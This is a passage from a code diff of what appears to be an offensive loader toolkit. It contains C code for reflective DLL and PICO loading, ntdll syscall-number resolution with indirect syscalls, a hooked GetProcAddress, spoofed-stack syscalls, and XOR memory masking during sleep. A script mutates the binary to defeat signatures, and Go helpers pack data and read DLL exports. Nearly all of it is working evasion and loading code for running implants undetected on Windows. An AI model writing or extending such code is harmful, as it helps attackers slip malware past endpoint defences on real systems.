*syscallNumber = ((DWORD)high << 8) | low;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static BOOL FindSyscallInstruction(PBYTE functionAddress, PVOID *indirectAddress)
|
||||
{
|
||||
if (functionAddress == NULL || indirectAddress == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i + SYSCALL_INSTR_SIZE <= SYS_STUB_SIZE; i++)
|
||||
{
|
||||
if (functionAddress[i] == 0x0f &&
|
||||
functionAddress[i + 1] == 0x05 &&
|
||||
functionAddress[i + 2] == 0xc3)
|
||||
{
|
||||
*indirectAddress = (PVOID)(functionAddress + i);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static BOOL ResolveGateFromStub(PBYTE functionAddress, SYSCALL_GATE *gate)
|
||||
{
|
||||
DWORD syscallNumber = 0;
|
||||
|
||||
for (DWORD i = 0; i + SYSCALL_PATTERN_SIZE <= SYS_STUB_SIZE; i++)
|
||||
{
|
||||
if (functionAddress[i] == 0xc3)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (functionAddress[i] == 0xe9)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ReadSyscallNumber(functionAddress, i, &syscallNumber))
|
||||
{
|
||||
gate->ssn = syscallNumber;
|
||||
return FindSyscallInstruction(functionAddress, &gate->jmpAddr);
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
static BOOL ResolveGateFromNeighbor(PBYTE functionAddress, PBYTE lowerBound, PBYTE upperBound, DWORD maxDistance, SYSCALL_GATE *gate)
|
||||
{
|
||||
UINT_PTR current = (UINT_PTR)functionAddress;
|
||||
UINT_PTR lower = (UINT_PTR)lowerBound;
|
||||
UINT_PTR upper = (UINT_PTR)upperBound;
|
||||
|
||||
for (DWORD distance = 1; distance <= maxDistance; distance++)
|
||||
{
|
||||
UINT_PTR delta = (UINT_PTR)distance * SYS_STUB_SIZE;
|
||||
UINT_PTR downAddress = current + delta;
|
||||
|
||||
if (downAddress >= current &&
|
||||
downAddress + SYSCALL_PATTERN_SIZE >= downAddress &&
|
||||
downAddress >= lower &&
|
||||
downAddress + SYSCALL_PATTERN_SIZE <= upper)
|
||||
{
|
||||
PBYTE down = (PBYTE)downAddress;
|
||||
DWORD syscallNumber = 0;
|
||||
if (ReadSyscallNumber(down, 0, &syscallNumber) && syscallNumber >= distance)
|
||||
{
|
||||
gate->ssn = syscallNumber - distance;
|
||||
return FindSyscallInstruction(down, &gate->jmpAddr);
|
||||
}
|
||||
}
|
||||
|
||||
if (lower + delta >= lower && current >= lower + delta)
|
||||
{
|
||||
UINT_PTR upAddress = current - delta;
|
||||
PBYTE up = (PBYTE)upAddress;
|
||||
DWORD syscallNumber = 0;
|
||||
if (ReadSyscallNumber(up, 0, &syscallNumber))
|
||||
{
|
||||
gate->ssn = syscallNumber + distance;
|
||||
return FindSyscallInstruction(up, &gate->jmpAddr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate)
|
||||
{
|
||||
PIMAGE_EXPORT_DIRECTORY exportDirectory = NULL;
|
||||
PBYTE lowerBound = NULL;
|
||||
PBYTE upperBound = NULL;
|
||||
|
||||
if (ntdll == NULL || func == NULL || gate == NULL)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
gate->ssn = 0;
|
||||
gate->jmpAddr = NULL;
|
||||
|
||||
if (!GetExportDirectory(ntdll, &exportDirectory))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (!GetExportFunctionBounds(ntdll, exportDirectory, &lowerBound, &upperBound))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if ((PBYTE)func < lowerBound || (PBYTE)func + SYSCALL_PATTERN_SIZE > upperBound)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ResolveGateFromStub((PBYTE)func, gate))
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return ResolveGateFromNeighbor((PBYTE)func, lowerBound, upperBound, exportDirectory->NumberOfFunctions, gate);
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "utils/debug.h"
|
||||
|
||||
// NT API Status
|
||||
|
||||
#ifndef NT_SUCCESS
|
||||
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||
#endif
|
||||
|
||||
// Structs
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD ssn;
|
||||
PVOID jmpAddr;
|
||||
} SYSCALL_GATE;
|
||||
|
||||
// Functions
|
||||
|
||||
BOOL GetSyscall(PVOID ntdll, PVOID func, SYSCALL_GATE *gate);
|
||||
@@ -0,0 +1,31 @@
|
||||
#include <windows.h>
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef _MEMORY_LAYOUT
|
||||
#define _MEMORY_LAYOUT
|
||||
|
||||
#define MAX_SECTIONS 16
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections[MAX_SECTIONS];
|
||||
SIZE_T Count;
|
||||
} DLL_MEMORY;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DLL_MEMORY Dll;
|
||||
} MEMORY_LAYOUT;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#ifndef STATUS_SUCCESS
|
||||
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_ABANDONED
|
||||
#define STATUS_ABANDONED ((NTSTATUS)0x00000080L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_TIMEOUT
|
||||
#define STATUS_TIMEOUT ((NTSTATUS)0x00000102L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_UNSUCCESSFUL
|
||||
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_INVALID_PARAMETER
|
||||
#define STATUS_INVALID_PARAMETER ((NTSTATUS)0xC000000DL)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_ACCESS_DENIED
|
||||
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
|
||||
#endif
|
||||
|
||||
#ifndef STATUS_PROCEDURE_NOT_FOUND
|
||||
#define STATUS_PROCEDURE_NOT_FOUND ((NTSTATUS)0xC000007AL)
|
||||
#endif
|
||||
@@ -0,0 +1,102 @@
|
||||
/*
|
||||
* Copyright 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
// used by both the Pico Loader and DLL loader
|
||||
typedef struct {
|
||||
__typeof__(LoadLibraryA) * LoadLibraryA;
|
||||
__typeof__(GetProcAddress) * GetProcAddress;
|
||||
} IMPORTFUNCS;
|
||||
|
||||
// linker intrinsic to map a function hash to a hook registered via Crystal Palace
|
||||
FARPROC __resolve_hook(DWORD funcHash);
|
||||
|
||||
/*
|
||||
* Structs used by our DLL loader
|
||||
*/
|
||||
|
||||
#define PTR_OFFSET(x, y) ( (void *)(x) + (ULONG)(y) )
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
|
||||
typedef struct {
|
||||
IMAGE_DOS_HEADER * DosHeader;
|
||||
IMAGE_NT_HEADERS * NtHeaders;
|
||||
IMAGE_OPTIONAL_HEADER * OptionalHeader;
|
||||
} DLLDATA;
|
||||
|
||||
/*
|
||||
* utility functions
|
||||
*/
|
||||
DWORD adler32sum(unsigned char * buffer, DWORD length);
|
||||
DWORD ror13hash(const char * c);
|
||||
|
||||
/*
|
||||
* printf-style debugging.
|
||||
*/
|
||||
void dprintf(char * format, ...);
|
||||
|
||||
/*
|
||||
* PICO running functions
|
||||
*/
|
||||
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||
|
||||
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||
int PicoCodeSize(char * src);
|
||||
int PicoDataSize(char * src);
|
||||
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||
|
||||
/*
|
||||
* Resolve functions by walking the export address table
|
||||
*/
|
||||
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||
HANDLE findModuleByHash(DWORD moduleHash);
|
||||
|
||||
/*
|
||||
* DLL parsing and loading functions
|
||||
*/
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||
void ParseDLL(char * src, DLLDATA * data);
|
||||
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||
DWORD SizeOfDLL(DLLDATA * data);
|
||||
|
||||
/*
|
||||
* A macro to figure out our caller
|
||||
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||
*/
|
||||
#ifdef __MINGW32__
|
||||
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||
#else
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define WIN_GET_CALLER() _ReturnAddress()
|
||||
#endif
|
||||
@@ -0,0 +1,223 @@
|
||||
#include "pico.h"
|
||||
|
||||
FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||
{
|
||||
if (hModule == NULL || lpProcName == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// lpProcName may be an ordinal
|
||||
if ((ULONG_PTR)lpProcName >> 16 == 0)
|
||||
{
|
||||
// just resolve normally
|
||||
return GetProcAddress(hModule, lpProcName);
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook(ror13hash(lpProcName));
|
||||
|
||||
// result may still be NULL if it wasn't hooked in the spec
|
||||
if (result != NULL)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
WARN_MSG("The '%s' function is not hooked", lpProcName);
|
||||
return GetProcAddress(hModule, lpProcName);
|
||||
}
|
||||
|
||||
// Rewrite GetProcAddress to our _GetProcAddress function
|
||||
void SetupHooks(IMPORTFUNCS *funcs)
|
||||
{
|
||||
if (funcs == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||
}
|
||||
|
||||
void SetupMemory(MEMORY_LAYOUT *memory)
|
||||
{
|
||||
if (memory != NULL)
|
||||
{
|
||||
gMemory = *memory;
|
||||
}
|
||||
}
|
||||
|
||||
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _Sleep");
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
*/
|
||||
BOOL shouldMask = (dwMilliseconds >= 1000 && gMemory.Dll.BaseAddress != NULL);
|
||||
|
||||
if (shouldMask)
|
||||
{
|
||||
MaskMemory(&gMemory, TRUE);
|
||||
}
|
||||
|
||||
LARGE_INTEGER delay;
|
||||
delay.QuadPart = - (LONGLONG)(dwMilliseconds * 10000LL);
|
||||
|
||||
SYSCALL_ARG args[2] = {
|
||||
(SYSCALL_ARG)FALSE,
|
||||
(SYSCALL_ARG)&delay};
|
||||
|
||||
NTSTATUS status = SpoofedSyscall(NTDELAYEXECUTION_HASH, args);
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
WARN_MSG("\t\tSleep syscall failed");
|
||||
}
|
||||
|
||||
if (shouldMask)
|
||||
{
|
||||
MaskMemory(&gMemory, FALSE);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds)
|
||||
{
|
||||
INFO_MSG("\t\tCalling _WaitForSingleObject");
|
||||
|
||||
LARGE_INTEGER delay = {0};
|
||||
PLARGE_INTEGER pDelay = NULL;
|
||||
|
||||
if (dwMilliseconds != INFINITE)
|
||||
{
|
||||
delay.QuadPart = -((LONGLONG)dwMilliseconds * 10000LL);
|
||||
pDelay = &delay;
|
||||
}
|
||||
|
||||
SYSCALL_ARG args[3] = {
|
||||
(SYSCALL_ARG)hHandle,
|
||||
(SYSCALL_ARG)FALSE,
|
||||
(SYSCALL_ARG)pDelay};
|
||||
|
||||
// Generic synchronization waits must not mask memory. Masking is reserved
|
||||
// for the intentional sleep path handled by _Sleep.
|
||||
NTSTATUS status = SpoofedSyscall(NTWAITFORSINGLEOBJECT_HASH, args);
|
||||
|
||||
if (status == STATUS_SUCCESS)
|
||||
{
|
||||
return WAIT_OBJECT_0;
|
||||
}
|
||||
|
||||
if (status == STATUS_TIMEOUT)
|
||||
{
|
||||
return WAIT_TIMEOUT;
|
||||
}
|
||||
|
||||
if (status == STATUS_ABANDONED)
|
||||
{
|
||||
return WAIT_ABANDONED;
|
||||
}
|
||||
|
||||
return WAIT_FAILED;
|
||||
}
|
||||
|
||||
void *GetExportAddress(char *base, const char *targetName)
|
||||
{
|
||||
if (base == NULL || targetName == NULL || targetName[0] == '\0')
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||
if (dos->e_magic != IMAGE_DOS_SIGNATURE || dos->e_lfanew <= 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||
if (nt->Signature != IMAGE_NT_SIGNATURE)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
IMAGE_DATA_DIRECTORY directory = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
if (directory.VirtualAddress == 0 || directory.Size == 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
|
||||
if (exports->AddressOfNames == 0 || exports->AddressOfFunctions == 0 || exports->AddressOfNameOrdinals == 0)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
DWORD *names = (DWORD *)(base + exports->AddressOfNames);
|
||||
DWORD *functions = (DWORD *)(base + exports->AddressOfFunctions);
|
||||
WORD *ordinals = (WORD *)(base + exports->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < exports->NumberOfNames; i++)
|
||||
{
|
||||
char *currentName = (char *)(base + names[i]);
|
||||
|
||||
// Manual String Compare
|
||||
const char *s1 = currentName;
|
||||
const char *s2 = targetName;
|
||||
int match = 1;
|
||||
|
||||
while (*s1 && *s2)
|
||||
{
|
||||
if (*s1 != *s2)
|
||||
{
|
||||
match = 0;
|
||||
break;
|
||||
}
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
if (match && *s1 == *s2)
|
||||
{
|
||||
WORD ordinal = ordinals[i];
|
||||
if (ordinal >= exports->NumberOfFunctions)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Ensure both ended at null terminator
|
||||
return (void *)(base + functions[ordinal]);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Free loader and call DLL
|
||||
void FreeLoader(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase)
|
||||
{
|
||||
INFO_MSG("=== STARTED PICO ===");
|
||||
|
||||
INFO_MSG("Cleaning Loader memory");
|
||||
if (loader != NULL && !KERNEL32$VirtualFree(loader, 0, MEM_RELEASE))
|
||||
{
|
||||
WARN_MSG("Failed to free loader memory");
|
||||
}
|
||||
|
||||
INFO_MSG("Calling DLL Entry Point");
|
||||
if (dllEntry == NULL || dllBase == NULL)
|
||||
{
|
||||
ERROR_MSG("Invalid DLL entry point or base");
|
||||
KERNEL32$ExitThread(0);
|
||||
}
|
||||
|
||||
dllEntry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL);
|
||||
|
||||
_DLLTargetFunction pTargetFunction = (_DLLTargetFunction)GetExportAddress(dllBase, TARGET_FUNCTION);
|
||||
|
||||
if (pTargetFunction != NULL)
|
||||
{
|
||||
SUCCESS_MSG("%s Executed", TARGET_FUNCTION);
|
||||
pTargetFunction();
|
||||
}
|
||||
else
|
||||
ERROR_MSG("%s Not Found", TARGET_FUNCTION);
|
||||
KERNEL32$ExitThread(0);
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
#include <windows.h>
|
||||
#include "include/memory.h"
|
||||
#include "evasion/hooks.h"
|
||||
#include "evasion/mask.h"
|
||||
#include "include/ntstatus.h"
|
||||
#include "utils/debug.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread(DWORD dwExitCode);
|
||||
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||
|
||||
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||
typedef void(WINAPI *_DLLTargetFunction)();
|
||||
|
||||
char TARGET_FUNCTION[128] = {};
|
||||
|
||||
DWORD WINAPI _WaitForSingleObject(HANDLE hHandle, DWORD dwMilliseconds);
|
||||
|
||||
// Global allocated memory
|
||||
MEMORY_LAYOUT gMemory;
|
||||
@@ -0,0 +1,15 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "include/tcg.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#define SUCCESS_MSG(message, ...) dprintf("[+] " message, ##__VA_ARGS__)
|
||||
#define INFO_MSG(message, ...) dprintf("[*] " message, ##__VA_ARGS__)
|
||||
#define WARN_MSG(message, ...) dprintf("[!] " message, ##__VA_ARGS__)
|
||||
#define ERROR_MSG(message, ...) dprintf("[-] " message, ##__VA_ARGS__)
|
||||
#else
|
||||
#define SUCCESS_MSG(message, ...) ((void)0)
|
||||
#define INFO_MSG(message, ...) ((void)0)
|
||||
#define WARN_MSG(message, ...) ((void)0)
|
||||
#define ERROR_MSG(message, ...) ((void)0)
|
||||
#endif
|
||||
@@ -0,0 +1,14 @@
|
||||
#include "utils.h"
|
||||
|
||||
void XORData(char *data, DWORD len, char *key, DWORD keyLen)
|
||||
{
|
||||
if (data == NULL || key == NULL || keyLen == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < len; i++)
|
||||
{
|
||||
data[i] ^= key[i % keyLen];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||
|
||||
void XORData(char *data, DWORD len, char *key, DWORD keyLen);
|
||||
@@ -0,0 +1,30 @@
|
||||
x64:
|
||||
load $DUMMY "bin/asm/dummy.x64.bin"
|
||||
|
||||
# ParseDLL from Crystal Palace
|
||||
ised insert "add rcx, rax" $DUMMY
|
||||
|
||||
# LoadPico from Crystal Palace
|
||||
ised insert "call PicoDataSize" $DUMMY
|
||||
|
||||
# call SizeOfDLL from loader.c
|
||||
ised insert "call SizeOfDLL" $DUMMY
|
||||
|
||||
# init_frame_info from spoof.c
|
||||
ised insert "mov dword ptr [rbx+0x10], 0x17" $DUMMY
|
||||
|
||||
# GetSyscall from syscall.c
|
||||
ised insert "shl ebx, 8" $DUMMY
|
||||
|
||||
# SpoofedSyscall from hooks.c
|
||||
ised insert "mov r12d, ecx" $DUMMY
|
||||
|
||||
# go from loader.c
|
||||
ised insert "sub rsp, 0x20" $DUMMY
|
||||
|
||||
# get_text_section_size from spoof.c
|
||||
pack $XOREAX "h" "31C0" # xor eax, eax
|
||||
ised replace "mov eax, 0" $XOREAX
|
||||
|
||||
# Disassemble object on stack and write output to assembly.txt
|
||||
disassemble "bin/assembly.txt"
|
||||
+2603
File diff suppressed because it is too large
Load Diff
+219
@@ -0,0 +1,219 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Packer struct {
|
||||
buffer []byte
|
||||
}
|
||||
|
||||
func CreatePacker(buffer []byte) *Packer {
|
||||
return &Packer{
|
||||
buffer: buffer,
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Packer) Size() uint {
|
||||
return uint(len(p.buffer))
|
||||
}
|
||||
|
||||
func (p *Packer) CheckPacker(types []string) bool {
|
||||
|
||||
packerSize := p.Size()
|
||||
|
||||
for _, t := range types {
|
||||
switch t {
|
||||
|
||||
case "byte":
|
||||
if packerSize < 1 {
|
||||
return false
|
||||
}
|
||||
packerSize -= 1
|
||||
|
||||
case "word":
|
||||
if packerSize < 2 {
|
||||
return false
|
||||
}
|
||||
packerSize -= 2
|
||||
|
||||
case "int":
|
||||
if packerSize < 4 {
|
||||
return false
|
||||
}
|
||||
packerSize -= 4
|
||||
|
||||
case "long":
|
||||
if packerSize < 8 {
|
||||
return false
|
||||
}
|
||||
packerSize -= 8
|
||||
|
||||
case "array":
|
||||
if packerSize < 4 {
|
||||
return false
|
||||
}
|
||||
|
||||
index := p.Size() - packerSize
|
||||
value := make([]byte, 4)
|
||||
copy(value, p.buffer[index:index+4])
|
||||
length := uint(binary.BigEndian.Uint32(value))
|
||||
packerSize -= 4
|
||||
|
||||
if packerSize < length {
|
||||
return false
|
||||
}
|
||||
packerSize -= length
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Packer) ParseInt8() uint8 {
|
||||
var value = make([]byte, 1)
|
||||
|
||||
if p.Size() >= 1 {
|
||||
if p.Size() == 1 {
|
||||
copy(value, p.buffer[:p.Size()])
|
||||
p.buffer = []byte{}
|
||||
} else {
|
||||
copy(value, p.buffer[:1])
|
||||
p.buffer = p.buffer[1:]
|
||||
}
|
||||
} else {
|
||||
return 0
|
||||
}
|
||||
|
||||
return value[0]
|
||||
}
|
||||
|
||||
func (p *Packer) ParseInt16() uint16 {
|
||||
var value = make([]byte, 2)
|
||||
|
||||
if p.Size() >= 2 {
|
||||
if p.Size() == 2 {
|
||||
copy(value, p.buffer[:p.Size()])
|
||||
p.buffer = []byte{}
|
||||
} else {
|
||||
copy(value, p.buffer[:2])
|
||||
p.buffer = p.buffer[2:]
|
||||
}
|
||||
} else {
|
||||
return 0
|
||||
}
|
||||
|
||||
return binary.BigEndian.Uint16(value)
|
||||
}
|
||||
|
||||
func (p *Packer) ParseInt32() uint {
|
||||
var value = make([]byte, 4)
|
||||
|
||||
if p.Size() >= 4 {
|
||||
if p.Size() == 4 {
|
||||
copy(value, p.buffer[:p.Size()])
|
||||
p.buffer = []byte{}
|
||||
} else {
|
||||
copy(value, p.buffer[:4])
|
||||
p.buffer = p.buffer[4:]
|
||||
}
|
||||
} else {
|
||||
return 0
|
||||
}
|
||||
|
||||
return uint(binary.BigEndian.Uint32(value))
|
||||
}
|
||||
|
||||
func (p *Packer) ParseInt64() uint64 {
|
||||
var value = make([]byte, 8)
|
||||
|
||||
if p.Size() >= 8 {
|
||||
if p.Size() == 8 {
|
||||
copy(value, p.buffer[:p.Size()])
|
||||
p.buffer = []byte{}
|
||||
} else {
|
||||
copy(value, p.buffer[:8])
|
||||
p.buffer = p.buffer[8:]
|
||||
}
|
||||
} else {
|
||||
return 0
|
||||
}
|
||||
|
||||
return binary.BigEndian.Uint64(value)
|
||||
}
|
||||
|
||||
func (p *Packer) ParseBytes() []byte {
|
||||
size := p.ParseInt32()
|
||||
|
||||
if p.Size() < size {
|
||||
return make([]byte, 0)
|
||||
}
|
||||
|
||||
b := p.buffer[:size]
|
||||
p.buffer = p.buffer[size:]
|
||||
return b
|
||||
}
|
||||
|
||||
func (p *Packer) ParseString() string {
|
||||
size := p.ParseInt32()
|
||||
|
||||
if p.Size() < size {
|
||||
return ""
|
||||
}
|
||||
|
||||
b := p.buffer[:size]
|
||||
p.buffer = p.buffer[size:]
|
||||
return string(bytes.Trim(b, "\x00"))
|
||||
}
|
||||
|
||||
func PackArray(array []interface{}) ([]byte, error) {
|
||||
var packData []byte
|
||||
|
||||
for i := range array {
|
||||
|
||||
switch array[i].(type) {
|
||||
|
||||
case []byte:
|
||||
val := array[i].([]byte)
|
||||
packData = append(packData, val...)
|
||||
break
|
||||
|
||||
case string:
|
||||
size := make([]byte, 4)
|
||||
val := array[i].(string)
|
||||
if len(val) != 0 {
|
||||
if !strings.HasSuffix(val, "\x00") {
|
||||
val += "\x00"
|
||||
}
|
||||
}
|
||||
binary.LittleEndian.PutUint32(size, uint32(len(val)))
|
||||
packData = append(packData, size...)
|
||||
packData = append(packData, []byte(val)...)
|
||||
break
|
||||
|
||||
case int:
|
||||
num := make([]byte, 4)
|
||||
val := array[i].(int)
|
||||
binary.LittleEndian.PutUint32(num, uint32(val))
|
||||
packData = append(packData, num...)
|
||||
break
|
||||
|
||||
case bool:
|
||||
b := array[i].(bool)
|
||||
var bt = make([]byte, 1)
|
||||
bt[0] = 0
|
||||
if b {
|
||||
bt[0] = 1
|
||||
}
|
||||
packData = append(packData, bt...)
|
||||
break
|
||||
|
||||
default:
|
||||
return nil, errors.New("PackArray unknown type")
|
||||
}
|
||||
}
|
||||
|
||||
return packData, nil
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/pe"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
func CreateDefinitionFile(content []byte, tempDir string) (string, error) {
|
||||
reader := bytes.NewReader(content)
|
||||
file, err := pe.NewFile(reader)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("Failed to open DLL: %v", err)
|
||||
}
|
||||
defer func(file *pe.File) {
|
||||
_ = file.Close()
|
||||
}(file)
|
||||
|
||||
exports, dllName, err := getExports(file)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("Failed to read exports: %v", err)
|
||||
}
|
||||
if len(exports) == 0 {
|
||||
return "", fmt.Errorf("No exports found in DLL")
|
||||
}
|
||||
|
||||
baseName := strings.TrimSuffix(dllName, filepath.Ext(dllName))
|
||||
defFileName := tempDir + "/" + baseName + ".def"
|
||||
defFile, err := os.Create(defFileName)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("Failed to create def file: %v", err)
|
||||
}
|
||||
defer func(defFile *os.File) {
|
||||
_ = defFile.Close()
|
||||
